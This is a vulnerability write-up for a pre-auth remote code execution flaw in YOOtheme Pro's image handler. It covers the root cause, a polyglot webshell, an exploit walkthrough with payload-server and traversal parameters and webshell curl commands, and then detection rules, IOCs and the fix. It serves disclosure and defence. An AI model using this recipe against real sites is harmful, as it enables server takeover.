CVE-2026-102785: YOOtheme Pro's Image Handler Signs Your Webshell for You
Every page on a YOOtheme Pro site hands you a signed image URL. The signature is supposed to prevent abuse of the image transformation handler. It doesn’t cover the FROMFILE or SAVE parameters. One GET request, and the handler fetches a JPEG/PHP polyglot from your server, traverses out of the cache directory, and writes it wherever you want. PHP executes it on the next hit.
CVSS 10.0. Pre-auth. One request. No cookies, no tokens, no login. The target’s own image handler signs your webshell delivery for you.
I started looking at this after Unit 42 dropped their advisory on October 26 confirming active exploitation. By then, automated scanners had already been planting webshells for days. The fix (5.0.53) shipped October 21, but commercial WordPress/Joomla themes don’t auto-update like core plugins. A lot of sites are still running 5.0.52 or older.
CVE-2026-102785. CWE-434. CVSS 10.0 Critical. PoC, check script, detection rules: github.com/al4n4n/CVE-2026-102785.
Background: YOOtheme Pro’s image handler
YOOtheme Pro is a premium theme framework for WordPress and Joomla. It’s the kind of product agencies use: visual page builder, UIkit-based components, production-grade caching. One of its features is on-the-fly image transformation. Instead of generating thumbnails at upload time, YOOtheme serves images through a handler that resizes, crops, and converts them on request.
The handler URLs look like this on WordPress:
1 | https://example.com/?p=yootheme_image&yootheme=cache/ab/image-abc123.jpg&hash=7f3a1b |
Or in path-based mode:
1 | https://example.com/wp-content/uploads/yootheme/cache/ab/image-abc123.jpg?hash=7f3a1b |
The hash parameter is a signature. It’s supposed to ensure that only legitimate image transformation requests get processed. The handler checks the hash, loads the source image, applies transformations, writes the result to the cache directory, and serves it.
Every page on a YOOtheme site includes these signed URLs in <img> tags, CSS backgrounds, and OpenGraph metadata. They’re public by design. You need them to be public so browsers can load the images.
The vulnerable code path
The signature validation has a gap. The handler accepts two parameters that aren’t bound to the hash:
FROMFILE: instead of loading the source image from the local filesystem, fetch it from an arbitrary URL. This is how the handler was meant to support remote image sources during development. It was never removed.
SAVE: instead of writing the result to the standard cache path derived from the signed URL, write it to a custom path. This parameter allows path traversal.
Here’s the sequence:
1 | GET /?p=yootheme_image |
The handler validates the hash against the original route and image parameters. It passes. Then it reads FROMFILE, fetches the attacker’s image, processes it, and writes the result to the SAVE path. The hash never covered FROMFILE or SAVE.
The fix in 5.0.53 restricts the operation list to a fixed allowlist: type, crop, resize, rotate, flip, thumbnail. Anything else (including FROMFILE and SAVE) is rejected. The cache filename is also validated against the signed URL, so even if you could sneak an operation through, the output path can’t deviate.
The polyglot: PHP inside a JPEG
The handler doesn’t just copy the file from FROMFILE. It processes it as an image: loads it with GD or Imagick, applies any transformations in the route, and re-encodes it before writing. Sticking <?php at the end of a JPEG would get stripped.
But IPTC metadata survives.
JPEG files can carry IPTC-IIM data in the APP13 marker (0xFFED). This is the standard metadata format for photo captions, credits, and copyright notices. Both GD and Imagick are designed to preserve IPTC during re-encoding. It’s a feature, not a bug, from the image library’s perspective. Photographers and news agencies rely on this metadata surviving edits.
The polyglot payload is a valid JPEG image with PHP code embedded in the IPTC Caption field (record 2, dataset 120, tag \x1c\x02\x78). The JPEG renders normally as an image. But when saved with a .php extension and accessed through a web server, PHP scans the binary content for <?php tags, finds the one inside the IPTC data, and executes it.
Building the polyglot:
- Start with a valid JPEG (any size, any content)
- Add an APP13 marker containing a Photoshop 3.0 resource block
- Inside the resource block, write an IPTC record with the PHP payload in the Caption field
- The result is simultaneously a valid JPEG (opens in any viewer) and valid PHP (executes the embedded code)
The PHP shell I use is minimal: it reads a c parameter from the request, passes it to system(), and wraps the output with markers so the PoC script can extract it cleanly.
Walking the exploit
The full attack takes one GET request from the attacker’s browser or script. Here’s what happens end to end:
Step 1: Harvest a signed URL. Visit any page on the target site. Every page includes signed image URLs in the HTML. Extract one. The attacker needs the hash parameter and the route structure. Both are public.
1 | # Extract signed URLs from target's homepage |
Step 2: Build the polyglot. Generate a JPEG/PHP polyglot with a command-execution shell in the IPTC Caption field. Host it on a server the target can reach.
Step 3: Start a payload server. The target’s image handler needs to fetch the polyglot. The attacker runs a simple HTTP server:
1 | server = PayloadServer(polyglot_bytes) |
Step 4: Fire the exploit. Rebuild the signed URL, keeping the original hash, and append the two extra parameters:
1 | extras = [("FROMFILE", payload_url), ("SAVE", "../../wp-content/uploads/shell.php")] |
The handler receives the request. It validates hash against the route (passes, because we kept the original hash). It reads FROMFILE, makes an HTTP request to the attacker’s server, downloads the polyglot. It processes the image (IPTC survives). It reads SAVE, traverses ../../ out of the cache directory into wp-content/uploads/, and writes shell.php.
Step 5: Execute. POST to the shell with c=id:
1 | $ curl -d 'c=id' https://target.example.com/wp-content/uploads/shell.php |
That’s www-data running commands on the web server. From a single unauthenticated GET request.
The proof
Against a test installation running YOOtheme Pro 5.0.49 on WordPress:
1 | $ python3 poc.py https://vuln.example.com 'id' --lhost 10.0.0.5 |
Reading files:
1 | $ python3 poc.py https://vuln.example.com 'cat /etc/hostname' |
The check script detects the vulnerability without triggering it:
1 | $ python3 check.py https://vuln.example.com |
Negative control
Against a patched installation (5.0.53), the signature reuse probe returns 400:
1 | $ python3 check.py https://patched.example.com |
The fix in 5.0.53 does two things: restricts the handler to a fixed operation allowlist (no more FROMFILE/SAVE), and validates the output filename against the signed URL. Both blocks work independently.
Impact
This is bad. Here’s why:
The vulnerability is pre-auth. No credentials, no cookies, no API keys. Every visitor to a YOOtheme site has everything they need to exploit it: a signed image URL from the page source.
The exploit is one GET request. Not a race condition, not a chain of three bugs, not a timing attack. One request writes a webshell.
YOOtheme Pro is a premium product used by agencies and commercial sites. Exact install counts aren’t public, but the framework has been actively maintained since YOOtheme 4 and is widely deployed. Both WordPress and Joomla are affected.
The patch shipped October 21 but commercial themes don’t auto-update. Site owners have to manually update or use a premium update plugin. Unit 42 confirmed in-the-wild exploitation on October 26. That’s a 5-day window where the patch existed but attackers were already scanning.
Known IOCs from the wild: webshell filenames matching yt + 7 hex characters in wp-content/uploads/, ALFA_DATA directories dropped alongside the webshells, traffic from 168.144.251.199.
| Claim | Status | Evidence |
|---|---|---|
| Signature reuse on image handler | Proven | Renamed route accepted with original hash |
| Pre-auth exploitation | Proven | Zero credentials, one GET request |
| FROMFILE fetches from attacker URL | Proven | Payload server receives request from target |
| SAVE traverses out of cache dir | Proven | PHP file written to wp-content/uploads/ |
| JPEG/PHP polyglot survives re-encoding | Proven | PHP code in IPTC metadata executes after processing |
| Remote code execution | Proven | id command output extracted from webshell |
| Patched version safe | Confirmed | Signature rejected on 5.0.53 |
| In-the-wild exploitation | Confirmed | Unit 42 advisory (Oct 26, 2026) |
Detection
Network-level (Suricata): watch for FROMFILE and SAVE parameters in requests containing hash=. These parameters don’t appear in legitimate YOOtheme image handler traffic. The combined FROMFILE + SAVE + hash= pattern is high-confidence.
Host-level (Sigma): PHP files appearing in wp-content/uploads/ or Joomla images/ directories (especially files matching yt[hex]{7}.php), POST requests to those files, and ALFA_DATA directory creation.
Both rule sets: detection/ in the repo.
The Asenka Guard WordPress plugin also scans for suspicious PHP files in upload and YOOtheme cache paths. Worth deploying alongside the update if you’re doing incident response.
The fix
Upgrade to YOOtheme Pro 5.0.53 or later. That’s it. There’s no workaround, no configuration toggle, no WAF rule that reliably blocks all variants (the reference PoC by antid00t includes 13 WAF bypass profiles with parameter randomization and HTTP parameter pollution).
What 5.0.53 changed:
- The image handler now only accepts operations from a fixed list:
type,crop,resize,rotate,flip,thumbnail. Everything else is rejected before processing. - The output cache filename is validated against the signed URL. Even if an operation slipped through, the output path can’t deviate from what was signed.
Both changes together make the attack impossible. The first blocks the FROMFILE/SAVE injection. The second blocks the path traversal.
Timeline
| Date | Event |
|---|---|
| 2026-10-21 | YOOtheme Pro 5.0.53 released with fix |
| 2026-10-23 | CVE-2026-102785 published by Joomla CNA |
| 2026-10-24 | First public reference PoC (antid00t) |
| 2026-10-26 | Unit 42 confirms active exploitation in the wild |
| 2026-10-27 | This analysis and PoC published |
Credit to David Willis-Owen for the original discovery and disclosure.
Reproduction
1 | git clone https://github.com/al4n4n/CVE-2026-102785.git |
YOOtheme Pro is commercial software, so there’s no Docker lab in this repo. You need your own installation. The exploit requires the target to make an outbound HTTP request to your payload server, so pass --lhost with an IP the target can reach.
Readers running YOOtheme Pro: update to 5.0.53 now. Check your wp-content/uploads/ directory for files matching yt*.php. If you find them, you’ve already been hit.